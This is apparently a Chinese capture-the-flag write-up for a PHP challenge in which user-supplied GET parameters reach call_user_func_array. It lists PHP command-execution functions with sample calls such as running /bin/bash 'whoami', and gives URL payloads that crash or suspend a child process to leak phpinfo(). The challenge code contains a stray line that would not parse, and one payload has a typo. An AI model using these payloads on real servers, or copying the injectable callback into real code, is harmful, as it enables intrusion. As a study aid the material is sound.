# easyphp

```php
<?php
    //题目环境：php:7.4.8-apache
    $pid = pcntl_fork(); //创建一个子进程
    //子进程和父进程都会执行以下代码
    if ($pid == -1) { //错误处理，创建失败返回-1
        die('could not fork');
    }else if ($pid){
        //父进程会获得子进程号，所以这里是父进程执行逻辑
        $r=pcntl_wait($status); //等待子进程中断，防止子进程成为僵尸进程
        if(!pcntl_wifexited($status)){ //挂起当前进行进程直到一个子进程退出或者收到一个信号要求中断当前进程或调用一个信号处理进程。
            phpinfo();
        }
    }else if ($pid == 0){ //子进程pid为0，这里是子进程逻辑
        highlight_file(__FILE__);
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
            call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
            call_user_func_array(call(pcntl_wait()))
        }
        posix_kill(posix_getpid(), SIGUSR1);
    }
```

{% hint style="info" %}
**call\_user\_func\_array** ( [callable](https://php.golaravel.com/language.types.callable.html) `$callback` , array `$param_arr` ) : [mixed](https://php.golaravel.com/language.pseudo-types.html#language.types.mixed)

把第一个参数作为回调函数（`callback`）调用，把参数数组作（`param_arr`）为回调函数的的参数传入。
{% endhint %}

能够调用命令行的php函数：

```
1.string system(string $command[, int &$return_var])
# 函数执行 command 参数所指定的命令，并且输出执行结果
2.string exec(string $command[, array &$output[, int &$return_var]])
# exec() 执行 command 参数所指定的命令。
3.string shell_exec( string $command)
# 通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。
4.void passthru(string $command[, int &$return_var] )
# 执行外部程序并且显示原始输出。
5.``反引号
# 例如`ls`,反引号的内容就会被当做系统命令执行，内部就是执行了shell_exec()进行处理。
6.void pcntl_exec(string $path[, array $args[, array $envs]])
# pcntl是php的多进程处理进展，在处理大量任务的情况下会用到，pcntl需要额外安装。$path为可执行程序路径(/bin/bash)。$args表示传递给$path程序的参数。例如pcntl_exec("/bin/bash", array("whoami"));
7.resource popen( string $command, string $mode)
# 打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生。 例如popen('whoami >> 123.txt', 'r');
8.resource proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd[, array $env[, array $other_options]]])
# 执行一个命令，并且打开用来输入/输出的文件指针。类似 popen() 函数，但是 proc_open() 提供了更加强大的控制程序执行的能力
```

其中三个参数的函数：

```
2.string exec(string $command[, array &$output[, int &$return_var]])
# exec() 执行 command 参数所指定的命令。
6.void pcntl_exec(string $path[, array $args[, array $envs]])
# pcntl是php的多进程处理进展，在处理大量任务的情况下会用到，pcntl需要额外安装。$path为可执行程序路径(/bin/bash)。$args表示传递给$path程序的参数。例如pcntl_exec("/bin/bash", array("whoami"));
```

都受到了限制。

**方法1 子程序不正常退出调用phpinfo();**

> stream\_socket\_client ( string `$remote_socket` \[, int `&$errno` \[, string `&$errstr` \[, float `$timeout` = ini\_get("default\_socket\_timeout") \[, int `$flags` = STREAM\_CLIENT\_CONNECT \[, resource `$context` ]]]]] ) : resource

* $remote\_socket 要连接的套接字地址。
* $errno 如果连接失败，将被设置为系统级错误号。
* $errstr 如果连接失败，将被设置为系统级错误消息。
* $timeout 直到connect（）系统调用应超时的秒数。

```
/?a=stream_socket_client$b=123
```

**方法2 子程序被挂起调用phpinfo();**

老套娃了。

```
/?a=call_user_func&b=pcntl_wait
```
